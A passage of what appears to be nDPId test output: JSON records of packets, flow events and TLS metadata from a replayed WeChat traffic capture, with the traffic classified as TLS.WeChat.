{"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":212968,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Gv9AAEAG+kXAqAFny82XotNQAbtFV88Tw7EZtIAQARET7wAAAQEICgAw1X1FrVoG"} +00781{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":214255,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4VI1AACwG0xPLzZeiwKgBZwG701DDsRm0RVfPE4AYAHjX4AAAAQEICkWtWgYAMNUtMtEcXJQP74kjXZiXpO26folEXtE\/5wUdXtwlTodUkQ4eQ0khK3WcW7Fn72amkTQ2YBqN\/S29luRw6pGj8WveriECv6W\/V1sKsSHWojIXmb1R24hbXhjVOMFpTnUO\/38G7ai5USiUxLHmi\/GUxg34DK0IjWMCRruY47ZZUxEQ5bWfimxb4PQTCdVAKgXnRr5qaieYoUmcSfKPzfueCVbS1BQ1EnbyxER3tYNfbGAPlZRoIN9MOSPtlPl6IcGZyV7Vywz8ButClD0PsxQZHJ0N1tFdSbN4K9pjdpD7gpkvEdUsVs4DNujVW8G7Vsm2sWuPrLSW7UN4uAhGzn4WAwMABA4AAAA="} +00425{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":214287,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0GwBAAEAG+kTAqAFny82XotNQAbtFV88Tw7EauIAQASgS1AAAAQEICgAw1X1FrVoG"} +00598{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":216865,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyGwFAAEAG+cXAqAFny82XotNQAbtFV88Tw7EauIAYASgL7wAAAQEICgAw1X5FrVoGFgMDAEYQAABCQQTNVYAcrmfQlaPl+lusSHKltZwaA1QUJnfmsHU\/5UeUi3qvOHyn7p6F40aqB52U8i2Jic+\/6sSY0eAJSOXrOL66FAMDAAEBFgMDACgAAAAAAAAAACRHf0nmIIQuWMwwMntQJ+Pk8tHsI88+iGkCABKxX+mC"} +00496{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":531445,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnVI5AACwG0+PLzZeiwKgBZwG701DDsRq4RVfPkYAYAHhqbgAAAQEICkWtWlUAMNV+FAMDAAEBFgMDAChlnbffjnU8cNa3QzQCV5upK\/xOXB0V5j+uFzM9zOv9dEoYHfMxgqIO"} +00425{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":568242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0GwJAAEAG+kLAqAFny82XotNQAbtFV8+Rw7Ea64AQASgRewAAAQEICgAw1dZFrVpV"} +00448{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":948192,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABExsdAAAERD9fAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":948330,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":303,"source":"wechat.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1492167382020,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.211","src_port":40740,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167382,"pkt_ts_usec":20263,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAokulAAEAGgjbAqAFny82X058kAbutvz98aYB+jlAQAdESKQAA"} +00417{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167382,"pkt_ts_usec":374842,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAoL8xAAC4G9rPLzZfTwKgBZwG7nyRpgH6Orb8\/fVAQAIMTdgAAAADZK2u8"} +00448{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167383,"pkt_ts_usec":949003,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEyKRAAAERDfrAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167383,"pkt_ts_usec":949103,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00424{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167397,"pkt_ts_usec":120263,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePJAAEAGFx3AqAFnQOmnvIyxFGy60MyoSq1b+oAQAO0gQAAAAQEICgAw5QaFnXDI"} +00424{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167397,"pkt_ts_usec":175313,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0qRsAACsGO1RA6ae8wKgBZxRsjLFKrVv6utDMqYAQAWWjrgAAAQEICoWeIMQAL7Ej"} +00425{"flow_id":24,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167400,"pkt_ts_usec":811884,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0GwNAAEAG+kHAqAFny82XotNQAbtFV8+Rw7Ea64ARASj+rwAAAQEICgAw6KBFrVpV"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":354,"source":"wechat.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1492167400812,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54097,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167400,"pkt_ts_usec":812629,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8voBAAEAGVrzAqAFny82XotNRAbuSN1YhAAAAAKACchAKOQAAAgQFtAQCCAoAMOihAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":355,"source":"wechat.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1492167401063,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54098,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":63693,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8\/z9AAEAGFf3AqAFny82XotNSAbu9GRfgAAAAAKACchAdWQAAAgQFtAQCCAoAMOjfAAAAAAEDAwc="} +00436{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":175317,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG701Ey6mUDkjdWIqASN8j5bgAAAgQFoAQCCApFrW16ADDooQEDAwc="} +00424{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":175359,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0voFAAEAGVsPAqAFny82XotNRAbuSN1YiMuplBIAQAOVesAAAAQEICgAw6PtFrW16"} +00750{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":176057,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEivoJAAEAGVdTAqAFny82XotNRAbuSN1YiMuplBIAYAOVZ9QAAAQEICgAw6PtFrW16FgMBAOkBAADlAwPYeeuaiTy\/tIyKXoKofIhRithfsRyeOK+DY3\/clVFvoSA3mLBCmIceJJgOxXyELRaSDZshWQNNLhQemCnnvWjecwAg2trMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB86uoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIenoAHQAXABiamgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":362,"source":"wechat.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1492167400812,"flow_last_seen":1492167401176,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54097,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00436{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":410519,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG701JpITMTvRkX4aASN8iiggAAAgQFoAQCCApF0dMbADDo3wEDAwc="} +00425{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":410611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/0BAAEAGFgTAqAFny82XotNSAbu9GRfhaSEzFIAQAOUHxwAAAQEICgAw6TZF0dMb"} +00424{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":535088,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0CNFAAC0GHtTLzZeiwKgBZwG701Ey6mUEkjdXEIAQAHhd1AAAAQEICkWtbdUAMOj7"} +02346{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":535740,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXICNJAAC0GGT\/LzZeiwKgBZwG701Ey6mUEkjdXEIAQAHjHlQAAAQEICkWtbdYAMOj7FgMDAF0CAABZAwN83+a2Me56fibXx78rUR363\/nTU2lB5WzIcz9sv1UMVyAaIhm+GrvSL4C3za8tBz\/r8L0Wzeb9BIm3rLTP4zTFlMAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":366,"source":"wechat.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1492167400812,"flow_last_seen":1492167401535,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54097,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":535804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0voNAAEAGVsHAqAFny82XotNRAbuSN1cQMupqmIAQAPtXYgAAAQEICgAw6VVFrW3W"} +02701{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":537513,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMCNNAAC0GGDrLzZeiwKgBZwG701Ey6mqYkjdXEIAYAHgsPgAAAQEICkWtbdYAMOj7i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQfn61MCOntjQBNjCmmmldM\/GDNnHO6scDwbjNlCfZN9uXmL0ohSb5bGJjCQtFyK1jVyQzz92e05XdNwElXrx4qBgEBALtnr\/UL\/ucyTI2a49U6884nZEhP7T9DIs6D45g4GtqwizfD6g4Veq\/aC6xxcrjSuOX4NNVam2QlYnlwR50m5UXhlmxaaiJiPZHUVm7MEJcLJqiad5sLjBnocfb1mOwxYjqrXK7xT\/D2Je1LvHEEDHQf46JWeA3FaZ+ikHxR3VKF3NZUUTEaficAIp+ghIEgWjLvH5y6ATevX69WFA\/PdFWfKlhZ\/jZ8nk+VwMr+TNUzYIVWEZLrAt0+nlGVg8o\/b91ffsnpJVM9o16770l55XNmTWnQx9vASLjp59vV9SIHYrbcHR3F1cz4rmK0sFY8WKVf3UPDc2hN6h0t2rBuA9wWAwMABA4AAAA="} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":368,"source":"wechat.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":8,"flow_first_seen":1492167400812,"flow_last_seen":1492167401537,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54097,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": 